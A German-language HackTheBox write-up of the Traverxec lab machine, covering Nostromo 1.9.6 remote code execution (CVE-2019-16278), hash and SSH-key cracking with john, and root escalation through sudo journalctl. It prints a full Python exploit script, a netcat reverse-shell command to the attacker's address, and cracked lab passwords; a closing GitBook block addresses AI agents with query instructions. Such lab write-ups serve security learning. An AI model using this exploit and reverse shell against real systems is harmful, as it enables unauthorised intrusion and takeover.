> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/traverxec-hackthebox-writeup.md).

# Traverxec HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/217>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Ausnutzung von Nostromo
* Missbrauch der Nostromo-HomeDirs-Konfiguration
* Ausnutzen von journalctl (Privilegieneskalation)
  {% endhint %}

## Aufklärung <a href="#reconnaissance" id="reconnaissance"></a>

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/fc08b9cadfa8917059ca4feb5da800a3542baec6" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/5ac16dfeba731471a540eaddde9e29994be0b243" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- -sS --open -vvv -n -Pn --min-rate 5000 10.10.10.165 -oG allPorts
```

<figure><img src="/files/580e43d89890399ff6d2f05910d850eba2ad2709" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren.

<figure><img src="/files/02e261422f90655a0af111ad69af8f2a48900a57" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

<figure><img src="/files/584748f3b45006607d8d4c4fb384b6a5aac6f7de" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen Sie den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` vorhandenen Benutzern.

<figure><img src="/files/838e229acd148d2a62ea2e70366846c942733eaa" alt="" width="563"><figcaption></figcaption></figure>

## Port 80:

<figure><img src="/files/ccd6ea12653fc3c201b7c75a0d6c1f35a8b98aa5" alt=""><figcaption></figcaption></figure>

Verwenden von `whatweb`, identifizieren wir Nostromo Version 1.9.6:

<figure><img src="/files/529ddfee10c5ed885e28818ca258f3f7ce7a864b" alt=""><figcaption></figcaption></figure>

## Ausnutzung von Nostromo

**Exploit-Suche**: An `searchploit`, finden wir einen RCE-Exploit für Nostromo 1.9.6 (CVE-2019-16278).

<figure><img src="/files/9b2e600ec5fb129e683c57fb5fac19254a2db973" alt="" width="563"><figcaption></figcaption></figure>

Laden Sie das Skript auf GitHub herunter.

{% embed url="<https://github.com/aN0mad/CVE-2019-16278-Nostromo_1.9.6-RCE>" %}

**Skriptausführung**: Verwendet das folgende Skript, um Befehle auf dem Server auszuführen

```python
import argparse
import socket

# Argparse einrichten
parser = argparse.ArgumentParser(description="Exploit für CVE-2019-16278 - Nostromo 1.9.6 RCE")
parser.add_argument("-t", "--target", help="Remote-Host als Ziel")
parser.add_argument("-p", "--port", help="Remote-Port als Ziel")
parser.add_argument("-c", "--command", help="Befehl, der auf dem Server ausgeführt werden soll")
parser.add_argument("-b", "--bytes", help="Die Anzahl der Bytes, die in der Antwort zurückempfangen werden sollen")

# Variablen definieren und zuweisen
args = parser.parse_args()
TARGET = args.target
PORT = int(args.port)
COMMAND = args.command
BYTES = args.bytes

if BYTES is None:
    BYTES = 4096
else:
    BYTES = int(BYTES)

URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0"

# Payload erstellen und kodieren
payload = (f"POST {URL}/r/n"
           "Content-Length: 1/r/n/r/n"
           f"echo/necho/n{COMMAND} 2>&1").encode()

# Socket erstellen und den Payload senden
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.send(payload)

# Antwort empfangen und Socket schließen
print(s.recv(1024).decode())  # Die Bytes für die Ausgabe wieder in einen String dekodieren
print(s.recv(BYTES).decode())
s.close()
```

```bash
python exploit.py -t 10.10.10.165 -p 80 -c whoami
```

<figure><img src="/files/af3eceeda42ba6784a64d0e5b462095d6d8c582e" alt="" width="563"><figcaption></figcaption></figure>

**Reverse Shell erhalten**

```bash
python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443'
```

```bash
sudo nc -nlvp 443
```

<figure><img src="/files/eabfe9eab68c309616050a3d51c5372ee0566ba8" alt=""><figcaption></figcaption></figure>

#### Terminalverbesserung

Um das Terminal interaktiv zu machen:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Privilegieneskalation <a href="#suid-privilege-escalation" id="suid-privilege-escalation"></a>

**Zugriff auf Nostromo-Konfigurationsdateien**:

In dem `nhttpd.conf` Datei, gibt es eine Anweisung, die eine Datei angibt `.htpasswd` in `/var/nostromo/conf` die Authentifizierungsinformationen enthält.

<figure><img src="/files/6128249a9ed3e54c0af502ba876e559ba4bc20f8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/da114d0e04aec99748014dbb6175f96f59028952" alt="" width="563"><figcaption></figcaption></figure>

`david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/`

**Entschlüsselung des Passworts**:

Verwenden Sie `john` zum Knacken des Passworts:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`david:Nowonly4me`

<figure><img src="/files/13dd11e80b8049170c7e60b17bcc359cea49aa98" alt=""><figcaption></figcaption></figure>

### Nostromo-HomeDirs-Konfiguration

{% hint style="info" %}
**Hintergrund:** Nostromo ist so konfiguriert, dass Benutzer Webinhalte in einem bestimmten Home-Verzeichnis hosten können, häufig als `public_www` in ihrem Home-Verzeichnis (`/home/[user]/public_www`). Diese Konfiguration ermöglicht es Benutzern, über eine URL wie auf ihre eigenen Seiten zuzugreifen `http://traverxec.htb/~[user]`.
{% endhint %}

<figure><img src="/files/0a4578f1ee7fa6d8571feb164ca5a2370ce4475b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/537cd15b805fbd303bded4f1b96141db693e733d" alt=""><figcaption></figcaption></figure>

Beim Durchsehen dieser Datei entdecken wir außerdem die Erwähnung eines `public_www` Ordners als Standardspeicherort für die Webinhalte der Benutzer.

<figure><img src="/files/896212bc7495a7a7c3607cfa490a5a95c57273e5" alt=""><figcaption></figcaption></figure>

Beim Aufrufen von `http://traverxec.htb/~david` finden wir einen versteckten Ordner `protected-file-area` mit einer Datei `.tgz`.

<figure><img src="/files/138504ec1b1bf964c849cab1327c6fdfc1c0a448" alt=""><figcaption></figcaption></figure>

**Inhalt herunterladen und extrahieren:**

Laden Sie das `backup-ssh-identity-files.tgz` Datei ein:

<figure><img src="/files/741060368a2a71a67096cf89ae3895af8a776df2" alt=""><figcaption></figcaption></figure>

Lassen Sie uns den Inhalt extrahieren, um einen SSH-Schlüssel wiederherzustellen:

`tar -xzf backup-ssh-identity-files.tgz`

<figure><img src="/files/5179087f08cf04450cf73475ee21715bf87f96ab" alt="" width="563"><figcaption></figcaption></figure>

### **SSH-Schlüsselentschlüsselung:**

Der extrahierte SSH-Schlüssel ist passwortgeschützt. Wir verwenden `ssh2john` um den Schlüssel in das für `john` und starten Sie einen Brute-Force-Angriff:

<figure><img src="/files/be69b4d2389724a0cf20ea3fea9500905f58a7e4" alt="" width="371"><figcaption></figcaption></figure>

```bash
ssh2john id_rsa > id_rsa.hash
```

<figure><img src="/files/f7b4444c563a920059adf488036eaaf394011bdc" alt=""><figcaption></figcaption></figure>

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt id_rsa.hash
```

<figure><img src="/files/1b8735d602e736163c1557edf98eb517cbc3afad" alt="" width="563"><figcaption></figcaption></figure>

Gefundenes Passwort: `hunter`.

```bash
ssh -i id_rsa david@10.10.10.165
```

<figure><img src="/files/466d7defa77c494333150b4e43c6ef9d4fcc7a4f" alt="" width="563"><figcaption></figcaption></figure>

### Flagge user.txt

<figure><img src="/files/59889cfe045de34230337c4c6538afc1181b6164" alt="" width="563"><figcaption></figcaption></figure>

## Ausnutzung von journalctl:

{% hint style="info" %}
Wir haben ein Skript gefunden, `server-stats.sh`, in dem `/bin` Verzeichnis. Dieses Skript ist so konfiguriert, dass es den `/usr/bin/journalctl` Befehl mit sudo-Rechten auszuführen. Das bedeutet, dass wir diesen Befehl ausnutzen können, um Root-Rechte zu erlangen
{% endhint %}

<figure><img src="/files/fbba73b22d1b1b3b932c1e1d8d5678046034a822" alt=""><figcaption></figcaption></figure>

**Nach Schwachstelle in GTFOBins suchen:**

* Beim Blick in GTFOBins entdecken wir, dass `journalctl` verwendet werden kann, um durch das Ausführen eines Shell-Befehls Privilegien zu erhöhen.

{% embed url="<https://gtfobins.github.io/gtfobins/journalctl/>" %}

<figure><img src="/files/4d8b7ce7905cf3fbac55775ebae293f617e35da9" alt=""><figcaption></figcaption></figure>

**Ausführungsbedingungen:**

Um diesen Exploit auszulösen, müssen Sie die Größe des Terminalfensters einschränken, um den `less` Paginierungsmodus in `journalctl`. Dieser Modus ermöglicht es Ihnen, Shell-Befehle über `!`.

```bash
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
```

<figure><img src="/files/66e8005540e76f6786208cd7ea2b0b4915876333" alt=""><figcaption></figcaption></figure>

Sobald im `less` Modus, geben Sie den folgenden Befehl ein, um eine Root-Shell zu erhalten:

```bash
!/bin/sh
```

<figure><img src="/files/3120bcf6f96b6f8b341728236bb1a81ebac3101b" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/1fe68d1560c31e4ed32ee1fd6fcfc591032c0467" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/39c23e6adb71904fe67284fb4c5deb59604bbca5" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/traverxec-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
